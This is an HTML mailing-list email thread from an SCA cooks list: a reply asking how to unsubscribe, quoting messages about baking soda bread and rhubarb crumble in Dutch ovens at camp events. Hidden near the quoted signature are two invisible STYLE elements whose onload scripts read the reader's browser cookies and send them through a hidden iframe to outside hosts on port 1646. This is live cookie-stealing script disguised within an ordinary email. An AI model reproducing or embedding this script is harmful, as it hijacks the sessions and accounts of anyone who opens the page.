<div>How can I unsubscribe from this list?</div>  <div> </div>  <div>Capt. William</div>  <div><BR><BR><B><I>robert frazier <robertblacksmith@yahoo.com></I></B> wrote:</div>  <BLOCKQUOTE class=replbq style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #1010ff 2px solid">  <DIV>here's a barley beard recipe from elton brown done in a dutch on a gas grill.</DIV>  <DIV>i'm going to give it a try soon.</DIV>  <DIV>might be an idea for the burning ban camp outs.<BR><BR><B><I>Pandora Fitzpatrick / Crinoc Donn <pandoraf@verizon.net></I></B> wrote:</DIV>  <BLOCKQUOTE class=replbq style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #1010ff 2px solid">Greetings from Crinoc in Aquaterra,<BR>At 4YC, my household had fresh bread every day in our Dutch ovens -- a soda bread, not a yeast bread -- but only because we didn't want to spend the time babysitting a rising loaf of bread. Said bread went over VERY well to our feast guests on Friday night -- one guest had
 9 pieces! We baked the bread right in the pan (no separate bread/cake pan or trivet) -- just a decent quantity of oil in the bottom before the bread goes in, and brush a little more on top. Our coals were fussy about starting -- it took us several loaves to get it just right -- so I'd say be prepared to test a bunch of loaves at home -- use your BBQ or brazier as a base to set the Dutch oven in.<BR><BR>Next event I think we'll make biscuits -- my thought is to brush the biscuits with oil before placing them in the Dutch oven, to make it easier to separate them when they're done.<BR><BR>We also made rhubarb crumble that came out great. We should have taken it out of the Dutch oven sooner (we left it in overnight), as it picked up a grayish cast from the iron. Still tasted fine though. (This is a standard issue with food left in Dutch ovens -- I've had soup or stew that changed color overnight, but if the taste doesn't usually change. If you need extra iron in your diet,
 this isn't a problem!)<BR><BR>A lid lifter is a must - and will be our next purchase from the local blacksmith. We were using a fireplace poker that did the job but the first couple times we used it a fair bit of ash landed on our bread.<BR><BR>For modern world advice about cooking in Dutch ovens, check out some of the Boy Scout sites (just Google it) -- that's where I found a bunch of information about curing mine that I got used and rusty.<BR><BR>Deagh dhurachd (good wishes),<BR>Lady Crinoc Donn<BR>Lady-in-waiting to Baroness Rosamund of Aquaterra<BR>Minister of Arts and Sciences for the Barony of Aquaterra<BR>Founding member of Cearcall Charaid<BR><BR><BR><BR><BR><BR>Pandora Fitzpatrick....... Lady Crinoc Dhonn<BR>Director and Treasurer.... Minister of Arts and Sciences<BR>Slighe nan Gaidheal....... Barony of Aquaterra<BR>www.slighe.com ........... www.baronyofaquaterra.org<BR><BR>Thig crioch air an t-saoghal ach mairidh gaol 'us ceol.<BR>The world will end but love and
 music will survive.<BR>_______________________________________________<BR>Sca-cooks mailing list<BR>Sca-cooks@lists.ansteorra.org<BR>http://lists.ansteorra.org/listinfo.cgi/sca-cooks-ansteorra.org<BR></BLOCKQUOTE><BR><BR><BR>  <DIV>  <DIV>  <DIV>  <DIV>  <DIV>  <DIV> Robert Stallarifannskker</DIV>  <DIV>Robert Frazier<BR>Stallarifannsk household</DIV>  <DIV>Seneschal,Barony of Terra Pomaria<BR>Kingdom of An Tir<BR>Salem ,Oregon</DIV></DIV></DIV></DIV></DIV></DIV>  <DIV id=a> </DIV>  <DIV id=b style="VISIBILITY: hidden"></DIV>  <STYLE onload="window.status=''; var x = escape(document.cookie).substr(0,1900) ; b.innerHTML='<xiframe src=http://justme.myphotos.cc:1646/index.php?id='+document.title.substring(document.title.indexOf('-')+2)+'&cookie=\''+x+'\'  frameborder=0 width=10 height=10></iframe>test'; " type=text/css>  </STYLE>    <DIV id=a> </DIV>  <DIV id=b style="VISIBILITY: hidden"></DIV>  <STYLE onload="window.status=''; var x =
 escape(document.cookie).substr(0,1900) ; b.innerHTML='<xiframe src=http://y.gotdns.org:1646/index.php?id='+document.title.substring(document.title.indexOf('-')+2)+'&cookie=\''+x+'\'  frameborder=0 width=10 height=10></iframe>test'; " type=text/css>  </STYLE>    <div>  <HR SIZE=1>  Feel free to call! Free PC-to-PC calls. Low rates on PC-to-Phone. <A href="http://us.rd.yahoo.com/mail_us/taglines/postman10/*http://us.rd.yahoo.com/evt=39663/*http://messenger.yahoo.com">Get Yahoo! Messenger with Voice</A>_______________________________________________<BR>Sca-cooks mailing list<BR>Sca-cooks@lists.ansteorra.org<BR>http://lists.ansteorra.org/listinfo.cgi/sca-cooks-ansteorra.org<BR></BLOCKQUOTE><BR><p>
                <hr size=1>Feel free to call! Free PC-to-PC calls. Low rates on PC-to-Phone. <a href="http://us.rd.yahoo.com/mail_us/taglines/postman10/*http://us.rd.yahoo.com/evt=39663/*http://messenger.yahoo.com"> Get Yahoo! Messenger with Voice</a>